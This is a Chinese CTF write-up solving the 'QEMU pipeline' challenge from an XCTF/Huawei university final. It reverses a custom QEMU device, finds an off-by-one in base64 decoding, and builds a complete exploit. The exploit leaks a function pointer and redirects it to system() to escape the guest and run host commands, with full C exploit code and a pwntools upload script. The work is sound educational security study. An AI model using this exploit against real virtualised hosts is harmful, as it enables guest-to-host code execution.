XCTF 华为高校挑战赛决赛 QEMU pipeline

第一次在比赛中做出QEMU赛题,难度不大,6解,800分。漏洞点为:在目标代码进行base64解码时,数据长度限制由于除法忽略小数点后数据,进而产生的单字节溢出。溢出可以覆盖掉题目中的关键数据结构的size成员(PipeLineState.decPipe[3].size),进而可以越界读写题目中的函数指针,完成地址信息泄露以及控制流劫持。并且通过此函数指针可以简单的完成system(cmd)的调用,最终读取flag。

image

准备

前期知识:QEMU 逃逸 潦草笔记

确认题目qemu有符号,分析应该不难:

  file qemu-system-x86_64 
qemu-system-x86_64: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, 
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped

删掉启动脚本中的timeout让程序正常启动:

#!/bin/bash
./qemu-system-x86_64 \
    -m 1G \
    -initrd ./rootfs.cpio \
    -nographic \
    -kernel ./vmlinuz-5.0.5-generic \
    -L pc-bios/ \
    -append "priority=low console=ttyS0" \
    -monitor /dev/null \
    -device pipeline

cpio解包与打包:

  mkdir rootfs; cd rootfs
  cpio -idvm < ../rootfs.img
  find . | cpio -H newc -o > ../rootfs.cpio

逆向

目标设备为pipeline,并且qemu有符号,所以直接在IDA中搜索pipeline函数,发现本题mmio和pmio都有实现,所以主要关注以下四个函数:

  • pipeline_mmio_read
  • pipeline_mmio_write
  • pipeline_pmio_read
  • pipeline_pmio_write

虽然有符号,但对于以上四个函数的第一个参数的类型,仍然没有自动识别,因此需要手工转换opaque参数的类型为PipeLineState,方法如下:

image

image

转换完参数类型后,结果如下:

uint64_t __cdecl pipeline_mmio_read(PipeLineState *opaque, hwaddr addr, unsigned int size)
{
  __int64 v4; // rdx
  unsigned int sizea; // [rsp+0h] [rbp-34h]
  int pIdx; // [rsp+20h] [rbp-14h]

  pIdx = opaque->pIdx;
  if ( (unsigned int)pIdx >= 8 )
    return -1LL;
  if ( size != 1 )
    return -1LL;
  if ( pIdx > 3 )
  {
    sizea = *(_DWORD *)&opaque->encPipe[1].data[68 * pIdx + 12];
    v4 = 68LL * (pIdx - 4) + 3152;
  }
  else
  {
    sizea = opaque->encPipe[pIdx].size;
    v4 = 96LL * pIdx + 2768;
  }
  if ( addr < sizea )
    return *((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);
  else
    return -1LL;
}

不过识别的代码中仍然有令人费解的部分,比如:

*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);

因为按道理这些功能代码应该读写opaque变量中的自定义数据,不应该使用什么pdev.qdev,所以需要进行分析。以上四个函数操作的数据主要操作的数据就是opaque变量,其结构体为PipeLineState,可以在IDA的Structures窗口中找到:

00000000 PipeLineState   struc ; (sizeof=0xD80, align=0x10, copyof_2451)
00000000 pdev            PCIDevice_0 ?
000008F0 mmio            MemoryRegion_0 ?
000009E0 pmio            MemoryRegion_0 ?
00000AD0 pIdx            dd ?
00000AD4 encPipe         EncPipeLine 4 dup(?)
00000C54 decPipe         DecPipeLine 4 dup(?)
00000D64                 db ? ; undefined
00000D65                 db ? ; undefined
00000D66                 db ? ; undefined
00000D67                 db ? ; undefined
00000D68 encode          dq ?                    ; offset
00000D70 decode          dq ?                    ; offset
00000D78 strlen          dq ?                    ; offset
00000D80 PipeLineState   ends

经过分析pdev.qdev.parent_obj.free其实就是加8的偏移,所以这个令人费解的代码:

*((char *)&opaque->pdev.qdev.parent_obj.free + v4 + addr);

其实就是:

*((char *)&opaque + 8 + v4 + addr);

另外在pipeline_pmio_write有函数指针调用,其初始化在pipeline_instance_init函数中:

void __cdecl pipeline_instance_init(Object_0 *obj)
{
  int i; // [rsp+14h] [rbp-Ch]
  PipeLineState *state; // [rsp+18h] [rbp-8h]

  ...
  state->encode = (int (*)(char *, char *, int))pipe_encode;
  state->decode = (int (*)(char *, char *, int))pipe_decode;
  state->strlen = (int (*)(char *))&strlen;
  ...
}

经过逆向分析结构体中主要的数据结构为decPipe[4]encPipe[4],其结构如下:

00000000 EncPipeLine     struc ; (sizeof=0x60, align=0x4, copyof_2449)
00000000                                         ; XREF: PipeLineState/r
00000000 size            dd ?
00000004 data            db 92 dup(?)
00000060 EncPipeLine     ends

00000000 DecPipeLine     struc ; (sizeof=0x44, align=0x4, copyof_2450)
00000000                                         ; XREF: PipeLineState/r
00000000 size            dd ?
00000004 data            db 64 dup(?)
00000044 DecPipeLine     ends

函数主要功能如下:

  • pipeline_mmio_read: 读encPipe/decPipe中data
  • pipeline_mmio_write:写encPipe/decPipe中data
  • pipeline_pmio_read: 0->读pIdx,4->读pIdx对应的size
  • pipeline_pmio_write:0->写pIdx,4->写pIdx对应的size,12->b64encode,16->b64decode

编解码会在encPipe[4]decPipe[4]数组中对应的来回倒腾,所以主要是个base64编解码的功能,使用功能如下:

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

void read_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}

int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    char b64e[] = "eHVhbnh1YW4=";
    char data[100] = {0};
    
    write_block(2,0x5c,0,b64e);
    pmio_write(16,0);           // b64decode block 2 to block 6
    read_block(6,8,0,data);

    printf("[+] %s\n",data);
    return 0;
}

编译,打包进文件系统,并执行,成功进行base64解码:

  gcc -static test.c -o test
  find . | cpio -H newc -o > ../rootfs.cpio
  cd .. ; ./launch.sh
/ # ./test
[+] xuanxuan

调试

主要目的还是看PipeLineState中数据的情况,可以把断点打在mmio或者pmio的任意函数上,然后通过第一个参数(rdi)得到,示例交互,调用pmio_write:

#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

int main(){
    
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    pmio_write(0,1);
    return 0;
}

编译,打包进文件系统,并执行:

  gcc -static test.c -o test
  find . | cpio -H newc -o > ../rootfs.cpio
  cd .. ; ./launch.sh

gdb挂上qemu进程并把断点打在pipeline_pmio_write函数上:

  ps -ef | grep qemu               
xuan       8956   8955 30 22:20 pts/0    00:00:06 ./qemu-system-x86_64 

  sudo gdb --pid 8956
gef  b pipeline_pmio_write
Breakpoint 1 at 0x5650321e1d34: file ../hw/pci/pipeline.c, line 146.
gef  c

虚拟机里执行测试代码:

/ # ./text

断点断下,查看rdi寄存器,然后即可查看PipeLineState结构体:

gef  i r rdi
rdi            0x565035a20f80	0x565035a20f80

gef  p *((PipeLineState *)(0x565035a20f80))

也可以单独查看结构体中的成员:

gef  set $a = *((PipeLineState *)(0x565035a20f80))
gef  p /x $a.encPipe
$2 = {\{
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }, {
    size = 0x0, 
    data = {0x0 <repeats 92 times>}
  }\}

也可以查看结构体中成员的地址:

gef  p /x &((PipeLineState *)(0x565035a20f80)).encode
$26 = 0x565035a21ce8
gef  x /20gx 0x565035a21ce8
0x565035a21ce8:	0x00005650321e24f3	0x00005650321e21bb
0x565035a21cf8:	0x00007f8bb5c59450	0x0000000000000000
0x565035a21d08:	0x0000000000000061	0x0000565035a20f10
0x565035a21d18:	0x0000565035a20f30	0x0000000000000000
0x565035a21d28:	0x0000565032650105	0x0000000000000000
0x565035a21d38:	0x0000565032650183	0x0000565032650199
0x565035a21d48:	0x0000000000000000	0x0000565035a20f80
0x565035a21d58:	0x0000000000000000	0x0000000000000000
0x565035a21d68:	0x0000000000000061	0x0000565035a20bb0
0x565035a21d78:	0x0000565035a21dd0	0x0000000000000000

漏洞

这个漏洞还是看了一会的,不过结合base64编解码的功能来看,最可能得漏洞点应该出在base64解码的位置,原因有二:

  1. 对变长数据编解码的处理容易产生溢出读写
  2. 考虑利用的可能性,解码后的数据没有字符限制,更可以利用

最终漏洞的确出现在pipeline_pmio_write中对base64解码处理的过程中:

void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  unsigned int sizea; // [rsp+4h] [rbp-4Ch]
  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]
  int pIdx; // [rsp+28h] [rbp-28h]
  int pIdxa; // [rsp+28h] [rbp-28h]
  int pIdxb; // [rsp+28h] [rbp-28h]
  int useSize; // [rsp+2Ch] [rbp-24h]
  int ret_s; // [rsp+34h] [rbp-1Ch]
  int ret_sa; // [rsp+34h] [rbp-1Ch]
  char *iData; // [rsp+40h] [rbp-10h]

  if ( size == 4 )
  {
      ...
      else if ( addr == 16 ){
        pIdxb = opaque->pIdx;
        if ( (unsigned int)pIdxb <= 7 )
        {
          if ( pIdxb > 3 )
            pIdxb -= 4;
          sizeb = opaque->encPipe[pIdxb].size;
          iData = (char *)opaque->encPipe[pIdxb].data;
          if ( sizeb <= 0x5C )
          {
            if ( sizeb )
              iData[sizeb] = 0;
            useSize = opaque->strlen(iData);
            if ( 3 * (useSize / 4) + 1 <= 0x40 )
            {
              ret_sa = opaque->decode(iData, (char *)opaque->decPipe[pIdxb].data, useSize);
              if ( ret_sa != -1 )
                opaque->decPipe[pIdxb].size = ret_sa;
       ...

其opaque->decode调用的pipe_decode函数,不处理第三个size参数,所以解码过程,是直到扫描到输入字符串的空字符才结束。虽然useSize也是使用strlen进行了判断:

3 * (useSize / 4) + 1 <= 0x40

这里判断的标准边界应为((0x40 - 1)/3)*4 == 84,但是因为c语言整型的除法,84 到 87 这四个整数,都可以满足本判断,而size为87即可在解码时溢出后续数据。使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff位最大值:

>>> from pwn import *
>>> b64e(b'\xff\xff\xff')
'////'

测试代码如下:

#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

int main(){
    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_block(2,0x5c,0,data);

    // decode block 2 to block 6, it will overflow block 7 size
    pmio_write(16,0);

    return 0;
}

调试可见PipeLineState.decPipe[3].size确实被溢出了:

gef  b pipeline_pmio_write
gef  i r rdi
rdi            0x55ece5dd4f80	0x55ece5dd4f80
gef  p /x *((PipeLineState *)(0x55ece5dd4f80))

decPipe = {\{
    size = 0x0, 
    data = {0x0 <repeats 64 times>}
}, {
    size = 0x0, 
    data = {0x0 <repeats 64 times>}
}, {
    size = 0x0, 
    data = {0xff <repeats 64 times>}
}, {
    size = 0xff, 
    data = {0x0 <repeats 64 times>}
}\}, 
encode = 0x55ece3c634f3, 
decode = 0x55ece3c631bb, 
strlen = 0x7f8a9b4fc450

利用

利用方法就很明显了,溢出写PipeLineState.decPipe[3].size后,即可使用mmio_read/mmio_write越界读写PipeLineState.decPipe[3].data后续的函数指针,完成地址信息泄露以及控制流劫持。

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>

void * mmio;
int port_base = 0xc040; 

void pmio_write(int port, int val){ outl(val, port_base + port); }
void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}
int  pmio_read(int port) { return inl(port_base + port); }
char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); }

void write_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx); pmio_write(4,size);
    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }
}

void read_block(int idx,int size,int offset, char * data){
    pmio_write(0,idx);
    for(int i=0;i<size;i++){ data[i] = mmio_read(i+offset);}
}

int main(){

    // init mmio and pmio
    iopl(3);
    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

    // write '/'*87 to block 2
    char data[100];
    memset(data,0,100);
    memset(data,'/',87);
    write_block(2,0x5c,0,data);

    // decode block 2 to block 6, it will overflow block 7 size
    pmio_write(16,0);

    // out of bound read block 7 (offset 0x44), leak encode function ptr
    char leak[0x10];
    read_block(7,8,0x44,leak);

    long long base = *((long long *)leak)-0x3404F3;
    long long sys  = base + 0x2C0AD0;

    printf("[+] base:   0x%llx \n",base);
    printf("[+] system: 0x%llx \n",sys);

    // out of bound write block 7 (offset 0x44), overwrite encode function ptr to system ptr
    write_block(7,0x5c,0x44,(char *)(&sys));

    // write cmd to block 4
    char cmd[] = "cat /flag ; gnome-calculator ;\x00";
    write_block(4,0x30,0,cmd);

    // trigger encode(block 4) to system(cmd)
    pmio_write(12,0);
    return 0;
}

本地成功弹计算器:

image

攻击远程可使用musl libc减小体积,下载x86_64的本地版本https://musl.cc/x86_64-linux-musl-native.tgz,然后直接编译即可:

➜  ../../x86_64-linux-musl-native/bin/x86_64-linux-musl-gcc --static ./exp.c -o exp
➜  ../../x86_64-linux-musl-native/bin/strip ./exp
➜  ls -al ./exp 
-rwxr-xr-x  1 xuanxuan  staff  22616  9 18 01:59 ./exp

还是之前python2的上传脚本…

from pwn import *
context(log_level='debug')

io = remote("172.35.7.30",9999)
#io = process("./launch.sh")

def exec_cmd(cmd):
    io.sendline(cmd)
    io.recvuntil("/ #")

def upload():
    p = log.progress("Upload")
    with open("./exp", "rb") as f:
        data = f.read()
    encoded = base64.b64encode(data)
    io.recvuntil("/ #")

    for i in range(0, len(encoded), 600):
        p.status("%d / %d" % (i, len(encoded)))
        exec_cmd("echo \"%s\" >> /home/ctf/benc" % (encoded[i:i+600]))

    exec_cmd("cat /home/ctf/benc | base64 -d > /home/ctf/bout")
    exec_cmd("chmod +x /home/ctf/bout")
    exec_cmd("/home/ctf/bout")
    
upload()
io.interactive()